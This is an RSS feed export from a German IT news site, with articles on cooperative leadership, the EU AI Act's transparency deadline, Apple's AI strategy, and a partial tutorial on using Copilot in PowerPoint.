<![CDATA[Team IT Security - 📰 Alle Kategorien]]> de-DE Wed, 29 Jul 2026 02:05:57 +0200 Wed, 29 Jul 2026 02:05:57 +0200 15 2026 Team IT Security lakandor@tsecurity.de (Horus Sirius) lakandor@tsecurity.de (Horus Sirius) IT Security Cybersecurity Nachrichten Team IT Security RSS Generator v2.0 https://tsecurity.de/favicon.ico <![CDATA[Team IT Security - 📰 Alle Kategorien]]> <![CDATA[The Best Motorola Phones, From Razr to Moto G (2026)]]> https://tsecurity.de/de/3695512/it-nachrichten/the-best-motorola-phones-from-razr-to-moto-g-2026/ https://tsecurity.de/de/3695512/it-nachrichten/the-best-motorola-phones-from-razr-to-moto-g-2026/ Sun, 26 Jul 2026 12:45:49 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Kooperativer FĂŒhrungsstil: So entfesseln Sie wahre Performance]]> https://tsecurity.de/de/3695007/it-security-nachrichten/kooperativer-fuehrungsstil-so-entfesseln-sie-wahre-performance/ https://tsecurity.de/de/3695007/it-security-nachrichten/kooperativer-fuehrungsstil-so-entfesseln-sie-wahre-performance/ Sun, 26 Jul 2026 06:33:31 +0200 📰 IT Security Nachrichten tsecurity.de
FĂŒhrungskrĂ€fte
Kooperative FĂŒhrungskrĂ€fte teilen Verantwortung mit ihren Mitarbeitern und beziehen sie in Entscheidungen ein.

NDAB Creativity – shutterstock.com

Ein FĂŒhrungsstil beschreibt die Grundhaltung einer FĂŒhrungskraft sowie ihr Verhalten gegenĂŒber Mitarbeitern. Es gibt verschiedene Theorien und Modelle mit unterschiedlichen FĂŒhrungsstilen.

Welche FĂŒhrungsstile gibt es?

Eine bekannte Einteilung hat der Sozialpsychologe Kurt Lewin vorgenommen. Lewin emigrierte 1933 aus Deutschland und forschte in den USA. In dieser Zeit entstand die Unterscheidung und Abstufung zwischen den FĂŒhrungsstilen autoritĂ€r, laissez-faire und kooperativ:

  • Beim autoritĂ€ren FĂŒhrungsstil gibt die FĂŒhrungsperson ihren Mitarbeitern Anweisungen, was zu tun ist. Mitarbeiter haben diese Anweisungen zu akzeptieren und auszufĂŒhren.
  • Beim Laissez-faire-FĂŒhrungsstilÂ ĂŒbertrĂ€gt die FĂŒhrungskraft Aufgaben auf die Mitarbeiter. Vorgesetzte machen klare Zielvorgaben, definieren die erwarteten Arbeitsergebnisse und delegieren die Aufgaben an die Mitarbeiter.
  • Dazwischen liegt der kooperative FĂŒhrungsstil, bei dem FĂŒhrungskraft und Mitarbeiter Verantwortung teilen beziehungsweise gemeinsam ĂŒbernehmen. Eines der Forschungsergebnisse Lewins war, dass ein kooperativer FĂŒhrungsstil mit einer erhöhten Arbeitszufriedenheit der Mitarbeiter verbunden ist.

Merkmale eines kooperativen FĂŒhrungsstils

Kooperative FĂŒhrungskrĂ€fte teilen Verantwortung mit ihren Mitarbeitern und beziehen sie in Entscheidungen ein. FĂŒr Prof. Dr. Guido Möllering, Direktor des Reinhard-Mohn-Instituts fĂŒr UnternehmensfĂŒhrung an der UniversitĂ€t Witten/Herdecke, zĂ€hlt zu den Merkmalen einer kooperativen FĂŒhrungskraft auch, dass mehr Autonomie gewĂ€hrt wird bei zugleich gegenseitiger Transparenz und Koordination: “Die formale FĂŒhrungskraft kommuniziert auf Augenhöhe, das heißt mit Respekt und Anerkennung der FĂ€higkeiten und BedĂŒrfnisse der GefĂŒhrten. Es gibt kaum noch Anweisungen, sondern man einigt sich, was zu tun ist”, so Möllering. Man verstĂ€ndige sich hĂ€ufiger ĂŒber die gemeinsamen Werte und Ziele. FĂŒhrungskrĂ€fte sĂ€hen sich selbst als Vermittelnde.

FĂŒr den Transformationsexperten und Berater Martin Michaelis ist es nicht nur eine Frage von Branchen, Unternehmenskultur oder Generationen, ob kooperatives FĂŒhren sinnvoll ist. “In der heutigen Zeit stĂ€ndiger und schneller VerĂ€nderung haben Unternehmen gar keine andere Wahl, als Ihren Mitarbeitern in einem bestimmten Maße mehr Verantwortung zu ĂŒbergeben. Das bedeutet fĂŒr FĂŒhrungskrĂ€fte, dass sie ihre Mitarbeiter mehr in Entscheidungsprozesse einbinden mĂŒssen.” Schwierig werde es dann, wenn unter den Mitarbeitern nur eine niedrige Bereitschaft bestehe, Verantwortung zu ĂŒbernehmen. “Wichtig ist dann, Schritt fĂŒr Schritt vorzugehen: je nach individueller KapazitĂ€t und nicht zu viel auf einmal an Verantwortungen zu delegieren”, rĂ€t Michaelis.

Vor- und Nachteile eines kooperativen FĂŒhrungsstils

“Die stĂ€rkere Partizipation und das Empowerment, das kooperative FĂŒhrung ermöglicht, sind sehr motivierend, können aber auch ĂŒberfordern”, weiß Experte Möllering. Wenn Verantwortung stĂ€rker geteilt werde, werfe das Fragen auf: Wer trĂ€gt das Risiko von gemeinsamen Entscheidungen? Und: Wer bekommt welchen Anteil am gemeinsamen Erfolg? “Wenn ein gemeinsames VerstĂ€ndnis hergestellt werden kann, wie die kooperative FĂŒhrung wirklich gemeint ist, dann ĂŒberwiegen klar die Vorteile”, ist Möllering ĂŒberzeugt. Wichtig sei auch, dass eine echte Beteiligung an der FĂŒhrung möglich ist. Also nicht am Ende doch wieder einer alles alleine entscheide.

Kooperatives FĂŒhren lernen

Doch lĂ€sst sich ein solcher kooperativer FĂŒhrungsstil erlernen? “Es gibt eine Menge Kompetenzen, die erlernt werden können”, sagt Martin Michaelis auf die Frage, ob sich kooperatives FĂŒhren erlernen lĂ€sst. Dabei unterscheidet er zwischen Methoden und Verhalten, sowie Haltung. Neue Methoden und Verhaltensweisen lassen sich erlernen. Dazu zĂ€hlt beispielsweise, sich selbst als FĂŒhrungskraft zurĂŒckzunehmen, Mitarbeitern mehr Raum zu geben und ihnen mehr Fragen zu stellen.

“Eine kooperative Haltung braucht meist etwas mehr Zeit”, so Michaelis. Je nach Person stĂ€nden oft alte Einstellungen und GlaubenssĂ€tze im Weg. Eine wichtige Erkenntnis lautet: Wer kooperativ fĂŒhren möchte, muss Schritt fĂŒr Schritt lernen, Vertrauen zu haben. “Eine ‘Dann mache ich das jetzt lieber selbst’-Haltung ergibt keinen Sinn”, sagt Michaelis. In einer konkreten Situation ist eine Aufgabe damit vielleicht schneller und auch besser erledigt. Aber damit nehme man seinen Mitarbeitern den Raum, zu lernen und sich weiterzuentwickeln. Und damit auch die Möglichkeit, zumindest mittelfristig mehr Verantwortung zu ĂŒbernehmen.

Kooperativ fĂŒhren

Die Bertelsmann Stiftung und das Reinhard-Mohn-Institut der UniversitĂ€t Witten/Herdecke haben fĂŒr ihren FĂŒhrungskrĂ€fte-Radar eine reprĂ€sentative Befragung unter FĂŒhrungskrĂ€ften in Deutschland vorgenommen. Eine Beobachtung: Wenn Home-Office zur Dauereinrichtung wird, befĂŒrchten FĂŒhrungskrĂ€fte, dass der Austausch mit den Mitarbeitern mehr und mehr verloren geht und die Unternehmenskultur leidet. Viele FĂŒhrungskrĂ€fte konnten ihre Mitarbeiter in Home-Office-Corona-Zeiten nicht so unterstĂŒtzen, wie sie es gerne getan hĂ€tten (45,7 Prozent). Guido Möllering vom Reinhard-Mohn-Institut sagt: “Die Ausnahmesituation hat uns verschiedene Aspekte deutlicher sehen lassen als sonst”. Er nennt die folgenden drei Punkte:

  • FĂŒhrung funktioniert nur, wenn die GefĂŒhrten mitspielen, also kooperativ die Impulse der FĂŒhrenden aufnehmen oder konstruktiv der FĂŒhrungskraft Feedback geben.
  • Das Management kann gerade in einer Krise nicht alle Probleme alleine lösen und alle Entscheidungen alleine treffen. Notgedrungen wird mehr delegiert, pragmatisch gehandelt und sich aufeinander verlassen. Man ist im Team beim gemeinsamen, kooperativen Problemlösen mehr auf Augenhöhe.
  • Gerade beim FĂŒhren auf Distanz (insbesondere wegen Homeoffice) merkt man deutlich, dass FĂŒhren nicht primĂ€r Kontrolle, sondern UnterstĂŒtzung der GefĂŒhrten bedeutet. Der Team-Gedanke verstĂ€rkt sich und die Verantwortung fĂŒr das gemeinsame Ergebnis wird stĂ€rker geteilt.

Kooperative FĂŒhrungskrĂ€fte brauchen Vertrauen

Übergreifend werde deutlich, wie wichtig eine solide Vertrauensbasis sei, so Möllering: “Diese baut man nicht durch hierarchische Anweisungen, sondern durch kollegiale Zusammenarbeit auf.” Im Gegensatz zu dem oft in Krisen vermuteten autoritĂ€ren FĂŒhrungsstil hat sich in der zurĂŒckliegenden Corona-Pandemie nicht die lenkende FĂŒhrungskraft frĂŒherer Zeiten, sondern die vermittelnde FĂŒhrungskraft bewĂ€hrt.

Wie FĂŒhrungskrĂ€fte Teams im Homeoffice leiten

Seit der Pandemie gehört virtuelle MitarbeiterfĂŒhrung zu den Standartaufgaben fĂŒr jeden Vorgesetzten. Wir haben die wichtigsten Learnings aus dieser Zeit zusammengefasst.

Zu den grĂ¶ĂŸten Herausforderungen zĂ€hlen die unterschiedlichen Voraussetzungen, womit Teammitglieder bei der Heimarbeit konfrontiert sind. Nicht jeder hat ausreichenden Raum fĂŒr ein separates Home-Office. Dazu kommen Ablenkungen wie Kinder, Haustiere oder bei Singles ein GefĂŒhl der Isolation. All das hat Einfluss darauf, wie und zu welchen Zeiten Mitarbeiter ihre Aufgaben am besten erledigen können. Vorgesetzte, die offen VerstĂ€ndnis fĂŒr individuelle Situationen zeigen, schaffen die Grundlage einer vertrauensvollen Zusammenarbeit.

Permanenter Stress im Home-Office ist keine gute Voraussetzung, um kontinuierlich gute Arbeit zu leisten. Wer als FĂŒhrungskraft vermittelt, dass es okay ist, nicht immer perfekt zu funktionieren, nimmt Mitarbeitern etwas den Druck in der Gewöhnung an die neue NormalitĂ€t. Vielen fĂ€llt es mit dieser Gewissheit leichter, Deadlines einzuhalten und den Erwartungen zu entsprechen.

Ein tĂ€gliches GesprĂ€ch mit Chefin oder Chef – ist das nicht zu viel der Kommunikation? Nein, denn insbesondere bei der digitalen MitarbeiterfĂŒhrung ist die RegelmĂ€ĂŸigkeit des Austauschs entscheidend. Nur so lĂ€sst sich einschĂ€tzen, ob alles wie besprochen lĂ€uft und sich alle im Team den Anforderungen gewachsen fĂŒhlen. MissverstĂ€ndnisse und Fehler passieren – Ă€hnlich wie im BĂŒro – vor allem, wenn zu wenig kommuniziert wird.

Nur mit Personen, zu denen man regelmĂ€ĂŸigen Kontakt pflegt, können Beziehungen entstehen. Das funktioniert im Zeitalter des digitalen Austauschs ĂŒber zahlreiche KommunikationskanĂ€le. Moderne Videokonferenz-Tools wie Zoom, Teams, Google Meet etc. ermöglichen eine Kommunikation von Angesicht zu Angesicht und machen sichtbar, wie es allen Teammitgliedern geht.

Dezentral organisierte Teamarbeit funktioniert am effektivsten, wenn sich alle ĂŒber die Grundregeln der Kommunikation einig sind. Vorgesetzte können fĂŒr klare VerhĂ€ltnisse sorgen, indem sie HĂ€ufigkeit, Zweck und Timing des Austauschs und die dafĂŒr priorisierten KanĂ€le festlegen. Videokonferenzen sind in der Regel die erste Wahl fĂŒr die tĂ€gliche Gruppenbesprechung. Gerade grĂ¶ĂŸere GesprĂ€chsrunden lassen sich durch simple Tricks so strukturieren, dass auch Meetings mit hoher Teilnehmerzahl geordnet und effektiv ablaufen. Wenn es um dringliche Angelegenheiten oder Nachfragen geht, sind andere KanĂ€le wie Instant Messaging der bessere Weg. Unified-Communications-Plattformen ermöglichen eine Vielzahl von Anwendungen und KommunikationskanĂ€len.

Oft werden beim Übergang von der klassischen BĂŒroarbeit ins Home-Office Aufgaben innerhalb eines Teams neu verteilt oder kommen neue hinzu. Damit Mitarbeiter diese erfĂŒllen können, muss klar sein, was genau von ihnen erwartet wird. Manchen mag es außerhalb der gewohnten BĂŒroatmosphĂ€re anfangs schwerfallen, AuftrĂ€ge zu priorisieren. Gemeinsam kann geklĂ€rt werden, welche Aufgaben PrioritĂ€t haben und zu schaffen ist. Einfach davon auszugehen, dass jeder weiß, was zu tun ist, ist kontraproduktiv. Besser ist, von Anfang an eine Feedback-Schleife zu vereinbaren, um Erwartungen anzupassen und in den bekannten Applikationen zu dokumentieren.

Teams funktionieren vor allem dann, wenn alle Mitglieder eine gemeinsame Mission verfolgen. Das dabei entstehende GemeinschaftsgefĂŒhl hilft auch, Unsicherheiten zu ĂŒberwinden und mit ungewohnten Arbeitssituationen umzugehen. Wenn jeder weiß, was er zum gemeinsamen Erfolg beitrĂ€gt, ist das die beste Motivation, Höchstleistungen zu erbringen. Erfolge sollten außerdem gewĂŒrdigt werden.

Wie lassen sich Engagement und Selbstverantwortung fördern? Indem FĂŒhrungskrĂ€fte sich auf die gewĂŒnschten Ergebnisse konzentrieren und Teammitgliedern den Freiraum lassen, selbst einzuteilen, wie sie zum Ziel kommen wollen. Voraussetzung dafĂŒr ist ausreichend Zeit und zuvor aufgebautes Vertrauen. Ist das der Fall, lĂ€sst sich auf diesem Weg nicht nur die KreativitĂ€t der Mitarbeiter fördern, sondern auch krĂ€ftezehrendes Mikromanagement vermeiden. Virtuelle Brainstorms lassen sich beispielsweise in Breakout-RĂ€ume aufteilen. Kleinere Teams können dadurch in separaten Sitzungen arbeiten und ihre Ideen sammeln, die anschließend in der grĂ¶ĂŸeren Runde prĂ€sentiert werden.

RegelmĂ€ĂŸige Kommunikation und klare Zielvorgaben sind wichtig. Sie dĂŒrfen aber nicht dazu fĂŒhren, dass Mitarbeiter das GefĂŒhl bekommen, im Home-Office ĂŒberwacht zu werden. Vorgesetzte, die mehrmals tĂ€glich penible RĂŒckmeldungen zu erledigten Arbeitsschritten einfordern, signalisieren damit fehlendes Vertrauen. Sie riskieren zudem, dass Teams den Fokus verlieren. Beratung und Betreuung sind besser als strikte Kontrolle.

Als neues Mitglied in ein dezentral arbeitendes Team zu kommen, kann zur Herausforderung werden, weil sich die Dynamik einer Gruppe anfangs schwerer erspĂŒren lĂ€sst. Umso wichtiger ist es, Neulingen zu Beginn ihrer TĂ€tigkeit das GefĂŒhl zu geben, Teil der Gruppe zu sein. Unternehmen, die bereits ĂŒber lĂ€ngere Erfahrung in dezentralem Arbeiten verfĂŒgen, haben dies zum festen Bestandteil ihres Onboardings gemacht.

Selbst in gut funktionierenden Arbeitsumfeldern kann es gelegentlich zu Unsicherheiten, Unzufriedenheit oder Ängsten der Mitarbeiter kommen. Die Aufgabe von FĂŒhrungskrĂ€ften besteht darin, Teams davor zu schĂŒtzen. Das gelingt am besten, wenn auch die sozialen Aspekte der gemeinsamen Arbeit berĂŒcksichtigt werden. DafĂŒr braucht es keine verpflichtenden gemeinsamen Kaffeepausen, aber von Zeit zu Zeit die Gelegenheit fĂŒr einen lockeren Austausch, der Mitarbeitern das GefĂŒhl gibt, trotz der Distanz wahrgenommen zu werden. Virtuell lĂ€sst sich der Teamgeist auch fördern, wenn zur Abwechslung mal eine Happy Hour, ein virtuelles Quizzen oder ein gemeinsames Essen per Videochat organisiert wird.


]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Sat, 25 Jul 2026 19:50:13 +0200 🔧 AI Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

]]> <![CDATA[Apple could ‘run the table’ on AI if it does things right]]> https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/ https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/ Sat, 25 Jul 2026 19:50:13 +0200 🔧 AI Nachrichten tsecurity.de

Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.

Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.

Apple also offers limited capacity for more complex tasks through Private Cloud Compute, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. 

Deeply deployable

Critics can say it took Apple a long time to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party doesn’t mean you won’t shine once you get there.

Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for Edge AI use cases, on device — no cloud service required.

The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that future M7 Ultra Macs will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. 

While that does assume the AI-flationary memory market can supply that much RAM at prices humans can afford, it is also true that people are already running AI clusters using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe this will continue to be the case, and that it will even broaden as the power/performance offered at the high end grows.

What’s wrong with good enough?

When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for private AI services and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support OpenClaw instances shows they already are.

Ultimately, these different slices of momentum mean I agree with investor Jason Calacanis that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. 

It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run PrismML’s 1-bit, 27-billion parameter Bonsai on an iPad using the Locally app, and that’s in the here and now.

What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they have on their existing device or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models will erode. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all.

“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.

Who has the most to lose?

The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.

These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.

Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)

Cupertino rising

What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes.

You can follow me on social media! Join me on BlueSky,  LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.

]]> <![CDATA[10 cool things Copilot can do in PowerPoint]]> https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/ https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/ Sat, 25 Jul 2026 19:50:10 +0200 🔧 AI Nachrichten tsecurity.de

Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.

In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.

Who can use Copilot in PowerPoint

Individuals with a Microsoft 365 Personal, Family, or Premium subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have higher Copilot usage allowances and access to advanced AI features.

For business users, it’s more complicated. Organizations with more than 2,000 users must pay for Microsoft 365 Copilot licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are limitations in usage, speed, and feature availability.

To see what kind of access you have, log in to Microsoft’s Copilot Chat web hub and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.

(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our Copilot Chat tutorial for details.)

In this article:

Working with Copilot in PowerPoint

First, let’s quickly go over the notable settings of the Copilot sidebar.

When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.

powerpoint screen with copilot sidebar open on right

The sidebar on the right is where you interact with Copilot in PowerPOint.


Howard Wen / Foundry

Agent mode: By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the Allow editing button above the chat window and change it to Chat only.

The tips in this guide require that Copilot be in agent mode, so make sure you see Allow editing above the chat window.

Choice of AI model: Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click Auto at the upper right of the Copilot pane and select a model from the dropdown that opens.

screenshot of copilot sidebar in powerpoint with models dropdown menu open

You can choose which AI model you want Copilot to use for a request.

Howard Wen / Foundry

The tips in this guide should work fine on the default Auto setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.

Important: Remember that generative AI output often includes errors, so always check Copilot’s output for accuracy. (Also see our tips for reducing hallucinations in Copilot.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.

1. Create a presentation template

For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.

Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.

A good prompt should contain the slide count, subject, audience, and tone. Example:

  • Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.

Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.

screenshot of powerpoint presentation generated by copilot with placeholder data

Copilot generates a presentation with placeholder data and explains its elements.

Howard Wen / Foundry

You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.

2. Create a presentation from a document

You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.

Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.

In the Copilot pane, click the + icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)

screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on

Attaching a document for Copilot to base a presentation on.

Howard Wen / Foundry

Then in the chat window, you can enter a prompt that’s as simple as “Create a presentation,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.

Answer any follow-up questions that Copilot asks, and it will then generate the presentation.

screenshot of powerpoint with a presentation generated by copilot from a document

Copilot has generated a professional presentation from a social media marketing campaign document.

Howard Wen / Foundry

Note: Your marketing department may have created one or more branded company templates for Copilot to work from. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.

3. Add content from a document to a slide

Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.

In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:

  • Add a slide based on the attached document.
  • Use the attached file to add a slide about the project budget that focuses on Q1 projections.
  • Summarize only the financial section of the attached document as a slide.
screenshot of a slide in powerpoint generated by copilot from spreadsheet data

A new Copilot-generated slide based on data from an Excel spreadsheet.

Howard Wen / Foundry

4. Refine your slide text

A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.

